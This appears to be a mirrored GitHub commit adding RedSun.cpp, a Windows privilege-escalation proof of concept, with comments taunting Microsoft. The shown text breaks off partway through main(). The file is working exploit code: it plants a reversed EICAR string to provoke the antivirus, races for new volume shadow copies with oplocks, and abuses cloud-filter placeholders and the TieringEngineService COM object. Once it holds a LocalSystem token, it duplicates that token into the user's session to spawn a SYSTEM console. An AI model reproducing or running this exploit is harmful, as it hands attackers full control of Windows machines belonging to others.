mirror of
https://github.com/Nightmare-Eclipse/RedSun.git
synced 2026-05-26 11:50:50 +00:00
Add files via upload
This commit is contained in:
parent
4286b56305
commit
f8021a46ea
1 changed files with 777 additions and 0 deletions
777
RedSun.cpp
Normal file
777
RedSun.cpp
Normal file
|
|
@ -0,0 +1,777 @@
|
||||||
|
|
||||||
|
|
||||||
|
// It gets funnier as time passes...
|
||||||
|
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
#include <iostream>
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <conio.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include <cfapi.h>
|
||||||
|
|
||||||
|
#pragma comment(lib,"synchronization.lib")
|
||||||
|
#pragma comment(lib,"sas.lib")
|
||||||
|
#pragma comment(lib,"ntdll.lib")
|
||||||
|
#pragma comment(lib,"CldApi.lib")
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _FILE_DISPOSITION_INFORMATION_EX {
|
||||||
|
ULONG Flags;
|
||||||
|
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
|
||||||
|
|
||||||
|
typedef struct _FILE_RENAME_INFORMATION {
|
||||||
|
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
|
||||||
|
union {
|
||||||
|
BOOLEAN ReplaceIfExists; // FileRenameInformation
|
||||||
|
ULONG Flags; // FileRenameInformationEx
|
||||||
|
} DUMMYUNIONNAME;
|
||||||
|
#else
|
||||||
|
BOOLEAN ReplaceIfExists;
|
||||||
|
#endif
|
||||||
|
HANDLE RootDirectory;
|
||||||
|
ULONG FileNameLength;
|
||||||
|
WCHAR FileName[1];
|
||||||
|
} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _OBJECT_DIRECTORY_INFORMATION {
|
||||||
|
UNICODE_STRING Name;
|
||||||
|
UNICODE_STRING TypeName;
|
||||||
|
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _REPARSE_DATA_BUFFER {
|
||||||
|
ULONG ReparseTag;
|
||||||
|
USHORT ReparseDataLength;
|
||||||
|
USHORT Reserved;
|
||||||
|
union {
|
||||||
|
struct {
|
||||||
|
USHORT SubstituteNameOffset;
|
||||||
|
USHORT SubstituteNameLength;
|
||||||
|
USHORT PrintNameOffset;
|
||||||
|
USHORT PrintNameLength;
|
||||||
|
ULONG Flags;
|
||||||
|
WCHAR PathBuffer[1];
|
||||||
|
} SymbolicLinkReparseBuffer;
|
||||||
|
struct {
|
||||||
|
USHORT SubstituteNameOffset;
|
||||||
|
USHORT SubstituteNameLength;
|
||||||
|
USHORT PrintNameOffset;
|
||||||
|
USHORT PrintNameLength;
|
||||||
|
WCHAR PathBuffer[1];
|
||||||
|
} MountPointReparseBuffer;
|
||||||
|
struct {
|
||||||
|
UCHAR DataBuffer[1];
|
||||||
|
} GenericReparseBuffer;
|
||||||
|
} DUMMYUNIONNAME;
|
||||||
|
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
|
||||||
|
|
||||||
|
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
HMODULE h = LoadLibrary(L"ntdll.dll");
|
||||||
|
HMODULE hm = GetModuleHandle(L"ntdll.dll");
|
||||||
|
NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
|
||||||
|
PHANDLE DirectoryHandle,
|
||||||
|
ACCESS_MASK DesiredAccess,
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes
|
||||||
|
) = (NTSTATUS(WINAPI*)(
|
||||||
|
PHANDLE DirectoryHandle,
|
||||||
|
ACCESS_MASK DesiredAccess,
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes
|
||||||
|
))GetProcAddress(hm, "NtOpenDirectoryObject");;
|
||||||
|
NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
|
||||||
|
HANDLE DirectoryHandle,
|
||||||
|
PVOID Buffer,
|
||||||
|
ULONG Length,
|
||||||
|
BOOLEAN ReturnSingleEntry,
|
||||||
|
BOOLEAN RestartScan,
|
||||||
|
PULONG Context,
|
||||||
|
PULONG ReturnLength
|
||||||
|
) = (NTSTATUS(WINAPI*)(
|
||||||
|
HANDLE DirectoryHandle,
|
||||||
|
PVOID Buffer,
|
||||||
|
ULONG Length,
|
||||||
|
BOOLEAN ReturnSingleEntry,
|
||||||
|
BOOLEAN RestartScan,
|
||||||
|
PULONG Context,
|
||||||
|
PULONG ReturnLength
|
||||||
|
))GetProcAddress(hm, "NtQueryDirectoryObject");
|
||||||
|
NTSTATUS(WINAPI* _NtSetInformationFile)(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass
|
||||||
|
) = (NTSTATUS(WINAPI*)(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass
|
||||||
|
))GetProcAddress(hm, "NtSetInformationFile");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
struct LLShadowVolumeNames
|
||||||
|
{
|
||||||
|
wchar_t* name;
|
||||||
|
LLShadowVolumeNames* next;
|
||||||
|
};
|
||||||
|
void DestroyVSSNamesList(LLShadowVolumeNames* First)
|
||||||
|
{
|
||||||
|
while (First)
|
||||||
|
{
|
||||||
|
free(First->name);
|
||||||
|
LLShadowVolumeNames* next = First->next;
|
||||||
|
free(First);
|
||||||
|
First = next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber)
|
||||||
|
{
|
||||||
|
|
||||||
|
|
||||||
|
if (!criticalerr || !vscnumber)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
*vscnumber = 0;
|
||||||
|
ULONG scanctx = 0;
|
||||||
|
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
|
||||||
|
ULONG retsz = 0;
|
||||||
|
OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
|
||||||
|
if (!objdirinfo)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate required buffer to query object manager directory.\n");
|
||||||
|
*criticalerr = true;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
ZeroMemory(objdirinfo, reqsz);
|
||||||
|
NTSTATUS stat = STATUS_SUCCESS;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
|
||||||
|
if (stat == STATUS_SUCCESS)
|
||||||
|
break;
|
||||||
|
else if (stat != STATUS_MORE_ENTRIES)
|
||||||
|
{
|
||||||
|
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
|
||||||
|
*criticalerr = true;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
free(objdirinfo);
|
||||||
|
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
|
||||||
|
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
|
||||||
|
if (!objdirinfo)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate required buffer to query object manager directory.\n");
|
||||||
|
*criticalerr = true;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
ZeroMemory(objdirinfo, reqsz);
|
||||||
|
} while (1);
|
||||||
|
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
|
||||||
|
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
|
||||||
|
LLShadowVolumeNames* LLVSScurrent = NULL;
|
||||||
|
LLShadowVolumeNames* LLVSSfirst = NULL;
|
||||||
|
for (ULONG i = 0; i < ULONG_MAX; i++)
|
||||||
|
{
|
||||||
|
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
|
||||||
|
{
|
||||||
|
free(emptybuff);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
|
||||||
|
{
|
||||||
|
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
|
||||||
|
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
|
||||||
|
{
|
||||||
|
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
|
||||||
|
{
|
||||||
|
(*vscnumber)++;
|
||||||
|
if (LLVSScurrent)
|
||||||
|
{
|
||||||
|
LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
|
||||||
|
if (!LLVSScurrent->next)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate memory.\n");
|
||||||
|
*criticalerr = true;
|
||||||
|
DestroyVSSNamesList(LLVSSfirst);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
|
||||||
|
LLVSScurrent = LLVSScurrent->next;
|
||||||
|
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
|
||||||
|
if (!LLVSScurrent->name)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate memory !!!\n");
|
||||||
|
*criticalerr = true;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
|
||||||
|
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
|
||||||
|
if (!LLVSSfirst)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate memory.\n");
|
||||||
|
*criticalerr = true;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
|
||||||
|
LLVSScurrent = LLVSSfirst;
|
||||||
|
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
|
||||||
|
if (!LLVSScurrent->name)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate memory !!!\n");
|
||||||
|
*criticalerr = true;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
|
||||||
|
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
free(objdirinfo);
|
||||||
|
return LLVSSfirst;
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
HANDLE gevent = CreateEvent(NULL, FALSE, NULL, NULL);
|
||||||
|
|
||||||
|
DWORD WINAPI ShadowCopyFinderThread(wchar_t* foo)
|
||||||
|
{
|
||||||
|
|
||||||
|
wchar_t devicepath[] = L"\\Device";
|
||||||
|
UNICODE_STRING udevpath = { 0 };
|
||||||
|
RtlInitUnicodeString(&udevpath, devicepath);
|
||||||
|
OBJECT_ATTRIBUTES objattr = { 0 };
|
||||||
|
InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||||
|
NTSTATUS stat = STATUS_SUCCESS;
|
||||||
|
HANDLE hobjdir = NULL;
|
||||||
|
stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
|
||||||
|
if (stat)
|
||||||
|
{
|
||||||
|
printf("Failed to open object manager directory, error : 0x%0.8X", stat);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
bool criterr = false;
|
||||||
|
int vscnum = 0;
|
||||||
|
LLShadowVolumeNames* vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum);
|
||||||
|
|
||||||
|
if (criterr)
|
||||||
|
{
|
||||||
|
printf("Unexpected error while listing current volume shadow copy volumes\n");
|
||||||
|
ExitProcess(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
bool restartscan = false;
|
||||||
|
ULONG scanctx = 0;
|
||||||
|
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
|
||||||
|
ULONG retsz = 0;
|
||||||
|
OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
|
||||||
|
if (!objdirinfo)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate required buffer to query object manager directory.\n");
|
||||||
|
ExitProcess(1);
|
||||||
|
}
|
||||||
|
ZeroMemory(objdirinfo, reqsz);
|
||||||
|
stat = STATUS_SUCCESS;
|
||||||
|
bool srchfound = false;
|
||||||
|
scanagain:
|
||||||
|
do
|
||||||
|
{
|
||||||
|
scanctx = 0;
|
||||||
|
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
|
||||||
|
if (stat == STATUS_SUCCESS)
|
||||||
|
break;
|
||||||
|
else if (stat != STATUS_MORE_ENTRIES)
|
||||||
|
{
|
||||||
|
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
|
||||||
|
ExitProcess(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(objdirinfo);
|
||||||
|
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
|
||||||
|
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
|
||||||
|
if (!objdirinfo)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate required buffer to query object manager directory.\n");
|
||||||
|
ExitProcess(1);
|
||||||
|
}
|
||||||
|
ZeroMemory(objdirinfo, reqsz);
|
||||||
|
} while (1);
|
||||||
|
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
|
||||||
|
if (!emptybuff)
|
||||||
|
{
|
||||||
|
printf("Failed to allocate memory !!!");
|
||||||
|
ExitProcess(1);
|
||||||
|
}
|
||||||
|
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
|
||||||
|
wchar_t newvsspath[MAX_PATH] = { 0 };
|
||||||
|
wcscpy(newvsspath, L"\\Device\\");
|
||||||
|
|
||||||
|
for (ULONG i = 0; i < ULONG_MAX; i++)
|
||||||
|
{
|
||||||
|
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
|
||||||
|
{
|
||||||
|
free(emptybuff);
|
||||||
|
emptybuff = NULL;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
|
||||||
|
{
|
||||||
|
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
|
||||||
|
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
|
||||||
|
{
|
||||||
|
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
|
||||||
|
{
|
||||||
|
// check against the list if there this is a unique VS Copy
|
||||||
|
LLShadowVolumeNames* current = vsinitial;
|
||||||
|
bool found = false;
|
||||||
|
while (current)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
|
||||||
|
{
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
current = current->next;
|
||||||
|
}
|
||||||
|
if (found)
|
||||||
|
continue;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
srchfound = true;
|
||||||
|
wcscat(newvsspath, objdirinfo[i].Name.Buffer);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!srchfound) {
|
||||||
|
restartscan = true;
|
||||||
|
goto scanagain;
|
||||||
|
}
|
||||||
|
if (objdirinfo)
|
||||||
|
free(objdirinfo);
|
||||||
|
NtClose(hobjdir);
|
||||||
|
|
||||||
|
wchar_t malpath[MAX_PATH] = { 0 };
|
||||||
|
wcscpy(malpath, newvsspath);
|
||||||
|
wcscat(malpath, &foo[2]);
|
||||||
|
UNICODE_STRING _malpath = { 0 };
|
||||||
|
RtlInitUnicodeString(&_malpath, malpath);
|
||||||
|
OBJECT_ATTRIBUTES objattr2 = { 0 };
|
||||||
|
InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||||
|
IO_STATUS_BLOCK iostat = { 0 };
|
||||||
|
HANDLE hlk = NULL;
|
||||||
|
retry:
|
||||||
|
stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, NULL);
|
||||||
|
if (stat == STATUS_NO_SUCH_DEVICE)
|
||||||
|
goto retry;
|
||||||
|
if (stat)
|
||||||
|
{
|
||||||
|
printf("Failed to open file, error : 0x%0.8X\n", stat);
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
}
|
||||||
|
printf("The sun is shinning...\n");
|
||||||
|
|
||||||
|
|
||||||
|
OVERLAPPED ovd = { 0 };
|
||||||
|
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||||
|
DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
|
||||||
|
if (GetLastError() != ERROR_IO_PENDING)
|
||||||
|
{
|
||||||
|
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD nbytes = 0;
|
||||||
|
SetEvent(gevent);
|
||||||
|
ResetEvent(gevent);
|
||||||
|
GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);
|
||||||
|
|
||||||
|
WaitForSingleObject(gevent, INFINITE);
|
||||||
|
|
||||||
|
|
||||||
|
CloseHandle(hlk);
|
||||||
|
WakeByAddressAll(&gevent);
|
||||||
|
CloseHandle(gevent);
|
||||||
|
gevent = NULL;
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void rev(char* s) {
|
||||||
|
|
||||||
|
// Initialize l and r pointers
|
||||||
|
int l = 0;
|
||||||
|
int r = strlen(s) - 1;
|
||||||
|
char t;
|
||||||
|
|
||||||
|
// Swap characters till l and r meet
|
||||||
|
while (l < r) {
|
||||||
|
|
||||||
|
// Swap characters
|
||||||
|
t = s[l];
|
||||||
|
s[l] = s[r];
|
||||||
|
s[r] = t;
|
||||||
|
|
||||||
|
// Move pointers towards each other
|
||||||
|
l++;
|
||||||
|
r--;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void DoCloudStuff(wchar_t* syncroot, wchar_t* filename, DWORD filesz = 0x1000)
|
||||||
|
{
|
||||||
|
|
||||||
|
CF_SYNC_REGISTRATION cfreg = { 0 };
|
||||||
|
cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
|
||||||
|
cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want.
|
||||||
|
cfreg.ProviderVersion = L"1.0";
|
||||||
|
CF_SYNC_POLICIES syncpolicy = { 0 };
|
||||||
|
syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
|
||||||
|
syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
|
||||||
|
syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
|
||||||
|
syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_NONE;
|
||||||
|
syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
|
||||||
|
syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
|
||||||
|
HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
|
||||||
|
if (hs)
|
||||||
|
{
|
||||||
|
printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
CF_CALLBACK_REGISTRATION callbackreg[1];
|
||||||
|
callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL };
|
||||||
|
void* callbackctx = NULL;
|
||||||
|
CF_CONNECTION_KEY cfkey = { 0 };
|
||||||
|
hs = CfConnectSyncRoot(syncroot, callbackreg, callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
|
||||||
|
if (hs)
|
||||||
|
{
|
||||||
|
printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SYSTEMTIME systime = { 0 };
|
||||||
|
FILETIME filetime = { 0 };
|
||||||
|
GetSystemTime(&systime);
|
||||||
|
SystemTimeToFileTime(&systime, &filetime);
|
||||||
|
|
||||||
|
FILE_BASIC_INFO filebasicinfo = { 0 };
|
||||||
|
filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||||
|
CF_FS_METADATA fsmetadata = { filebasicinfo, {filesz} };
|
||||||
|
CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
|
||||||
|
placeholder[0].RelativeFileName = filename;
|
||||||
|
placeholder[0].FsMetadata = fsmetadata;
|
||||||
|
|
||||||
|
|
||||||
|
GUID uid = { 0 };
|
||||||
|
wchar_t wuid[100] = {0};
|
||||||
|
CoCreateGuid(&uid);
|
||||||
|
StringFromGUID2(uid, wuid,100);
|
||||||
|
placeholder[0].FileIdentity = wuid;
|
||||||
|
placeholder[0].FileIdentityLength = lstrlenW(wuid) * sizeof(wchar_t);
|
||||||
|
placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
|
||||||
|
DWORD processedentries = 0;
|
||||||
|
//WaitForSingleObject(hevent, INFINITE);
|
||||||
|
hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);
|
||||||
|
if (hs)
|
||||||
|
{
|
||||||
|
printf("Failed to create placeholder file, error : 0x%0.8X\n", hs);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void LaunchConsoleInSessionId()
|
||||||
|
{
|
||||||
|
|
||||||
|
HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hpipe == INVALID_HANDLE_VALUE)
|
||||||
|
return;
|
||||||
|
DWORD sessionid = 0;
|
||||||
|
if (!GetNamedPipeServerSessionId(hpipe, &sessionid))
|
||||||
|
return;
|
||||||
|
CloseHandle(hpipe);
|
||||||
|
HANDLE htoken = NULL;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
|
||||||
|
return;
|
||||||
|
HANDLE hnewtoken = NULL;
|
||||||
|
bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
|
||||||
|
CloseHandle(htoken);
|
||||||
|
if (!res)
|
||||||
|
return;
|
||||||
|
|
||||||
|
res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
|
||||||
|
if (!res)
|
||||||
|
{
|
||||||
|
CloseHandle(hnewtoken);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
STARTUPINFO si = { 0 };
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
|
||||||
|
|
||||||
|
CloseHandle(hnewtoken);
|
||||||
|
|
||||||
|
if (pi.hProcess)
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
if (pi.hThread)
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
return;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsRunningAsLocalSystem()
|
||||||
|
{
|
||||||
|
|
||||||
|
HANDLE htoken = NULL;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
|
||||||
|
printf("OpenProcessToken failed, error : %d\n", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
|
||||||
|
DWORD retsz = 0;
|
||||||
|
bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
|
||||||
|
CloseHandle(htoken);
|
||||||
|
if (!res)
|
||||||
|
return false;
|
||||||
|
bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
|
||||||
|
if (ret) {
|
||||||
|
LaunchConsoleInSessionId();
|
||||||
|
ExitProcess(0);
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
bool r = IsRunningAsLocalSystem();
|
||||||
|
|
||||||
|
void LaunchTierManagementEng()
|
||||||
|
{
|
||||||
|
CoInitialize(NULL);
|
||||||
|
GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };
|
||||||
|
void* ret = NULL;
|
||||||
|
HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret);
|
||||||
|
|
||||||
|
|
||||||
|
CoUninitialize();
|
||||||
|
}
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);
|
||||||
|
if (hpipe == INVALID_HANDLE_VALUE)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
wchar_t workdir[MAX_PATH] = { 0 };
|
||||||
|
ExpandEnvironmentStrings(L"%TEMP%\\RS-", workdir, MAX_PATH);
|
||||||
|
|
||||||
|
GUID uid = { 0 };
|
||||||
|
wchar_t wuid[100] = { 0 };
|
||||||
|
CoCreateGuid(&uid);
|
||||||
|
StringFromGUID2(uid, wuid, 100);
|
||||||
|
wcscat(workdir, wuid);
|
||||||
|
wchar_t filename[] = L"TieringEngineService.exe";
|
||||||
|
wchar_t foo[MAX_PATH];
|
||||||
|
wsprintf(foo, L"%ws\\%ws", workdir, filename);
|
||||||
|
|
||||||
|
DWORD tid = 0;
|
||||||
|
HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL, &tid);
|
||||||
|
|
||||||
|
if (!CreateDirectory(workdir, NULL))
|
||||||
|
{
|
||||||
|
printf("Failed to create workdir");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hfile == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
printf("Failed create spoof work file.\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
|
||||||
|
rev(eicar);
|
||||||
|
DWORD nwf = 0;
|
||||||
|
WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);
|
||||||
|
|
||||||
|
// trigger AV response
|
||||||
|
CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0)
|
||||||
|
{
|
||||||
|
printf("PoC timed out, is real time protection enabled ?");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
IO_STATUS_BLOCK iostat = { 0 };
|
||||||
|
